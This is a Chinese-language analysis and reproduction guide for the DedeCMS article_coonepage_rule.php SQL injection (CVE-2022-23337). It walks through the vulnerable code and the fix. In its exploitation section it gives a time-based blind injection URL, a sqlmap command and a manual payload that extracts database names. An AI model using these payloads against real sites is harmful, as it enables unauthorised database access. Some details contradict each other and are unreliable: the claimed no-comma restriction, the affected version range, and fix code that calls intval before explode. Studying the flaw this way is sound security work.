从漏洞通告探索至POC——Dedecms article_coonepage_rule.php SQL注入(CVE-2022-23337)
字数 1420 2025-08-06 20:12:46
Dedecms article_coonepage_rule.php SQL注入漏洞(CVE-2022-23337)分析与复现
0x00 漏洞概述
CVE-2022-23337是Dedecms v5.7.87及以下版本中存在的一个SQL注入漏洞,漏洞点位于article_coonepage_rule.php文件中。该漏洞允许攻击者通过构造特殊的请求参数执行SQL注入攻击,获取数据库敏感信息。
影响版本:Dedecms < v5.7.89
漏洞类型:SQL注入
危险等级:高危
0x01 环境搭建
1.1 影响版本确认
- 官网更新日志显示v5.7.89才修复此漏洞
- v5.7.42至v5.7.88版本均受影响
1.2 复现环境配置
推荐环境:
- Dedecms V5.7.80 UTF-8正式版
- PHP 5.6.9nts
- Apache 2.4.39
- MySQL 5.7.26
安装步骤:
- 从GitHub下载Dedecms V5.7.80
- 解压后访问
/install目录完成安装 - 后台地址:
http://your-ip/DedeCMS-5.7.80/dede/
0x02 漏洞分析
2.1 漏洞定位
漏洞文件:/dede/article_coonepage_rule.php
关键参数:ids
漏洞代码逻辑:
if($action == 'del') {
if(!empty($ids)) {
if(strpos($ids, ',') !== false) {
// 多选删除逻辑
$query = "DELETE FROM `#@__co_onepage` WHERE id IN($ids)";
} else {
// 单个删除逻辑
$query = "DELETE FROM `#@__co_onepage` WHERE id='$ids'";
}
$dsql->ExecuteNoneQuery($query);
}
}
2.2 漏洞成因
- 直接拼接用户输入的
ids参数到SQL语句中 - 未对
ids参数进行有效过滤和转义 $safeCheck默认为false,跳过了SQL安全检查- 两种删除逻辑都存在问题:
- 单删除:使用单引号包裹,但被
addslashes转义 - 多删除:直接拼接,无任何过滤
- 单删除:使用单引号包裹,但被
0x03 漏洞利用
3.1 利用限制
- 无直接回显,只能使用盲注或报错注入
- 单引号被转义,难以闭合
- 注入语句中不能包含逗号(否则会进入多选删除逻辑)
3.2 有效利用方法
盲注利用
使用ELT函数构造时间盲注:
/DedeCMS-5.7.80/dede/article_coonepage_rule.php?action=del&ids=ELT(3337>3336,SLEEP(5))
SQLMap自动化利用
使用高级别参数:
python2 sqlmap.py -r dede1.txt -p ids --level 5 --technique T --dbs
手工注入Payload示例
获取数据库名:
ids=ELT(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))!=116,SLEEP(3))
0x04 修复方案
v5.7.89版本修复方式:
- 将传入的
$ids转换为变量,防止字符拼接 - 对多选删除部分使用
explode函数分隔数组元素 - 增加参数过滤
修复代码关键点:
// 将$ids转换为整型
$ids = intval($ids);
// 或多选情况下分隔为数组
$idsArr = explode(',', $ids);
foreach($idsArr as $id) {
$id = intval($id);
// 安全查询
}
0x05 相关SQL函数解析
| 函数 | 用法 | 描述 |
|---|---|---|
| ELT | ELT(N,str1,str2,...) | 根据N值返回对应位置的字符串 |
| ORD | ORD(str) | 返回字符串最左边字符的ASCII码 |
| MID | MID(column,start[,len]) | 从字符串中提取子串 |
| DISTINCT | SELECT DISTINCT column | 返回唯一不同的值 |
| IFNULL | IFNULL(exp1,exp2) | 如果exp1不为NULL则返回exp1,否则返回exp2 |
| CAST | CAST(exp AS type) | 将表达式转换为指定数据类型 |
0x06 总结
- 该漏洞源于未过滤的用户输入直接拼接SQL语句
- 利用需要绕过逗号限制,使用特定函数构造盲注
- 修复方案应对所有用户输入进行严格过滤和类型转换
- 开发中应避免直接拼接SQL,使用预处理语句